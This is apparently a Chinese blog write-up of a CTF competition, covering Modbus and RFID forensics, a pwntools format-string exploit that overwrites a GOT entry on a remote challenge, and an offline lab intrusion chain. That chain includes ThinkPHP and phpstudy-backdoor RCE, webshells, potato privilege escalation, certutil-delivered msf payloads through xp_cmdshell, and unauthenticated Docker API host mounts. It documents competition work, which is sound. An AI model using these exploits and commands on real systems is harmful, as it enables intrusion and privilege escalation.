0x00 前言
这次比赛也是认识了许多大师傅,同时也感谢我的队友Carray全场拿下第一
0x01 线上初赛 (来自 XMUTSEC)
1.1签到题
给了密钥跟值 https://www.sojson.com/encrypt_aes.html
1.2 Modbus
非常经典的Modbus协议
import pyshark
captures = pyshark.FileCapture("flag.pcapng", tshark_path="F:\\Wireshark\\tshark.exe")
func_codes = {}
idx = 1
flag = False
for c in captures:
for pkt in c:
if pkt.layer_name == "modbus":
func_code = int(pkt.func_code)
if func_code == 16:
if flag:
flag = False
continue
payload = str(c["TCP"].payload).split(":")[-1]
payload = '0x' + payload
print(chr(int(payload, 16)), end="")
flag = True
idx += 1
运行得到,十六进制解码即可
1.3 RFID
题目给了key_retail.bin,可以猜测这是RFID的Amiibo的key文件,结合sniff_log.log,可以得知要我们还原卡log上的数据,把log定位一下卡起始位置,直接对a2 xx进行一个十六进制的排序,写个脚本整理一下数据集得到
04ebc2a5
42484b80
c1480fe0
f110ffee
a5000000
a5795220
f8f12a5e
a0a913f4
0d6d80b8
b63471f0
0cf81923
1cac3639
506a3198
7a3d0ea8
88e5ef63
0643dc05
b853d249
28581a92
5749a5d7
2f08fe10
c7dfc0c5
08020000
025e0402
0d125603
df2fd4d8
b6edcb3e
55d752cc
c0eebd7c
bc3ecb1c
039d19a0
92d670f4
121c743f
132f0b90
e1a90218
544f6cfe
646a13c9
5609511b
d405acca
3354ce1c
d37d20c5
f1429fc7
7b233213
af88275d
54481e9d
578e3764
4cc608ab
caf8a3db
d2067f79
7b40f54a
641dd981
ae942edd
fb10b5d8
2658a4f4
fee5a095
b77be490
afa7c57a
f3e0c9d5
0ab442e3
f5c36d98
c9fc4d42
4cf11147
d44592cf
4349b7e4
f5f7c724
bfaa8796
b0ef16e7
d058189d
9b808c7f
1b5a0745
4c2eb806
3036842d
d0fafbb6
392d8555
29c6a621
1232b34c
2583b3c8
8258d13b
56cf5eff
b4d64f87
183278a8
03218ca8
e6039921
f6c58a68
c061b88d
9ca14e08
0fe647e1
1b624e0b
271a1107
13a24cb8
d2864754
2fbdb259
b18178fc
606bc359
f3af1f4e
982ffac3
c824437f
4cfbbbec
aab965fa
ab6f0544
43b1a5c2
9fc9c3d6
6522780d
90406835
c5f47f43
935d9093
815c9600
f638fff7
3faea32a
53a77ca7
dcfa8f3d
6836a75c
18d3c548
ebe129b5
6ccb5e9a
57e15f3e
1d328249
7f6c1f59
27f367d5
b2e9ae97
57bf8b19
da6c09f4
5d4f9789
d01ee44c
04902e28
6c2bf289
ef2c0c2d
b162abc9
ab40f993
03361a1f
e7145b2a
01000fbd
00000004
5f000000
00000000
00000000
然后直接010梭哈还原成bin,根据题目给定的Key对数据进行一个还原
然后得到上面这个效果,因为作者使用的是3ds的人物模型,所以我们只需要网上找一个模型编辑软件查看一下就好了
查看十六进制得到flag
1.4 Stm32
1.5 调皮的复读姬
查看保护
ida 反编译后在choose 后发现利用点
当choose = 4294967293时触发
puts("You find a Repeater!");
read(0,buf,0xC8);
printf(buf);
明显的格式化字符串漏洞又因为无Full RELRO所以修改got表修改scanf处got EXP
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe", "wsl"],
os = "linux",
arch ='amd64',
#arch = "i386",
log_level='debug'
)
elf = ELF('./pwn')
#io = process('./pwn')
#libc = ELF("")
io = remote("39.106.48.123",36951)
def debug():
gdb.attach(io)
pause()
#code here
#debug()
scanf_got = elf.got['__isoc99_scanf']
Xiao_Si_addr = elf.sym['Xiao_Si']
payload = fmtstr_payload(6,{scanf_got:Xiao_Si_addr})
io.sendlineafter(b'choose:',str(4294967293).encode())
io.sendafter(b'You find a Repeater!\n',payload)
io.interactive()
题目地址 https://github.com/CTF-Archives/2023-fjsdxssjan 可以给XMUTSEC的师傅点点start
0x02 线下决赛
2.0 线下赛说明
靶场都是在云上的,赛前需要提供一台vps用来反弹shell等,然后赛场有配置策略 只能访问靶场,跟vps 其他都访问不了,现场会收手机,还有信号屏蔽器(无线鼠标全寄) Σ(っ °Д °;)っ,比赛开始时发一张小条子上面有题目的ip每个队伍不一样,总共十道题
2.1 节点1-Portal
可以看到图标是thinkphp
Thinkphp rce 直接攻击写shell
flag在根目录
随后上传fscan跟搭建代理进行内网扫描,扫描结果如下,有些ip不一样但是是同一台机器,通过主机名来归纳
[*] WebTitle: http://172.24.15.39 code:200 len:4475 title:AirTrain 项目管理系统
[*] NetInfo:
[*]172.27.10.11
[->]DC01
[->]172.27.10.11
[*] NetInfo:
[*]172.22.18.31
[->]WIN-OA
[->]172.22.18.31
[->]172.24.18.24
[*] NetInfo:
[*]172.24.15.27
[->]WIN-MSSQL
[->]172.24.15.27
[*] NetInfo:
[*]172.24.18.24
[->]WIN-OA
[->]172.22.18.31
[->]172.24.18.24
[*] NetInfo:
[*]172.24.15.39
[->]WIN-IIS7077
[->]172.24.15.39
[*] NetInfo:
[*]172.22.18.42
[->]WIN-OPS01
[->]172.22.18.42
[->]172.27.10.15
[*] NetInfo:
[*]172.27.10.15
[->]WIN-OPS01
[->]172.22.18.42
[->]172.27.10.15
[+] mysql:172.24.15.39:3306: 123456
[*] WebTitle: http://172.22.18.34:2375 code:404 len:29 title:None
[*] WebTitle: http://172.24.15.27 code:404 len:315 title:Not Found
[*] WebTitle: http://172.22.18.34 code:200 len:554 title:Index of /
[*] NetBios: 172.27.10.21 PC01.airtrain.local Windows Server 2016 Datacenter 14393
[+] ftp://172.22.18.42:21:anonymous
[->]gif
[->]jpg
[->]mp4
[*] NetBios: 172.22.18.31 WORKGROUP\WIN-OA Windows Server 2016 Datacenter 14393
[*] NetBios: 172.27.10.11 [+]DC DC01.airtrain.local Windows Server 2016 Datacenter 14393
[*] NetInfo:
[*]172.27.10.21
[->]PC01
[->]172.27.10.21
[*] WebTitle: http://172.22.18.23 code:200 len:18183 title:Home
[*] WebTitle: http://172.27.10.15 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://172.22.18.42 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://172.24.18.24 code:302 len:0 title:None 跳转url: http://172.24.18.24?m=login
[*] NetBios: 172.24.18.24 WORKGROUP\WIN-OA Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.18.31 code:302 len:0 title:None 跳转url: http://172.22.18.31?m=login
[*] 172.27.10.11 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: http://172.22.18.31?m=login code:200 len:4036 title:信呼协同办公系统
[*] WebTitle: http://172.24.18.24?m=login code:200 len:4036 title:信呼协同办公系统
[+] http://172.22.18.34:2375 poc-yaml-docker-api-unauthorized-rce
[+] http://172.22.18.34:2375 poc-yaml-go-pprof-leak
[+] http://172.22.18.31?m=login poc-yaml-phpstudy-backdoor-rce
[+] http://172.24.18.24?m=login poc-yaml-phpstudy-backdoor-rce
[+] http://172.22.18.23 poc-yaml-thinkphp5023-method-rce poc1
2.2 节点2-运维主机
访问是个IIS界面
扫描目录发现files
访问发现有目录遍历
配合前面扫出来的ftp你们登入发现ftp目录在web目录下
[+] ftp://172.22.18.42:21:anonymous
[->]gif
[->]jpg
[->]mp4
直接写马
土豆提权到system,然后就是加管理员用户
这次桌面只有一个谷歌浏览器
flag在C:\Users\Administrator\flag文件夹里面
2.3 节点3
2.3.1-OA系统
打开是个信呼oa,这里存在phpstudy-backdoor-rce 也就是phpstudy后门漏洞
验证一下
然后直接添加一个管理员用户登入远程桌面,这里选择直接添加用户是因为前一两个小时环境有问题没办法写入马,桌面上有个谷歌浏览器跟Navicat
flag在C:\Users\Administrator\flag文件夹里面
2.3.2 员工数据泄露
通过桌面上的Navicat链接本地数据库,里面有个staffdb底部就有flag
2.4 节点4
2.4.1 飞行器数据泄露
通过修改信呼oa那台的管理员账号然后登入远程桌面,可以发现桌面有个Navicat
打开可以发现里面保存着172.24.15.27 数据库的连接凭证然后连接数据库查看flag
2.4.2 SQLServer
通过xpcmdshell执行命令能看到是数据库权限用户
通过msf生成一个shell然后上传到内网的任意一台web上,通过certutil下载到SqlServer机器上然后运行
然后通过getsystem提权到system
得到flag
2.5 节点5 项目管理系统
前面扫到弱口令
[+] mysql:172.24.15.39:3306: 123456
通过查询@@basedir得到路径为phpstudy
数据库日志写马(这里环境一开始有问题到后面才可以写入,一开始发现www写不进去一直在试写dll打算udf执行命令)
新建用户
登入远程桌面,flag在C:\Users\Administrator\flag文件夹里面
2.6 节点6-Docker
docker api 未授权
[+] http://172.22.18.34:2375 poc-yaml-docker-api-unauthorized-rce
查看镜像
docker -H tcp://192.168.3.23:2375 images
特权模式运行容器然后挂载目录,(直接-v映射目录也可以),flag在/var/lib/mysql/flag/flagishere.itd
docker -H tcp://192.168.3.23:2375 run -it --privileged alpine /bin/sh
这里把宿主机目录挂载到/root/test
然后来到/root/test/root下有mysql的命令日志文件
cat一下就有flag 一个一个试过去就行,就三个
2.7 节点7 办公区主机
查看运维主机的mstsc记录可以发现有登入过域,但是没有密码凭证,花了很多时间来尝试,比如从oa里面拿用户名来爆破,爆破这个zhangxue或者试域的漏洞但是都无果
2.8 节点8 域控制器
无
0x03 最后
最后也是凭借6个一血两个二血拿下线下第一名
当然线上也是第一啦
9 comments
tql呜呜呜
学习了师傅太强了
mo60我的神
哥哥太强了
太牛逼了
太强了
学习了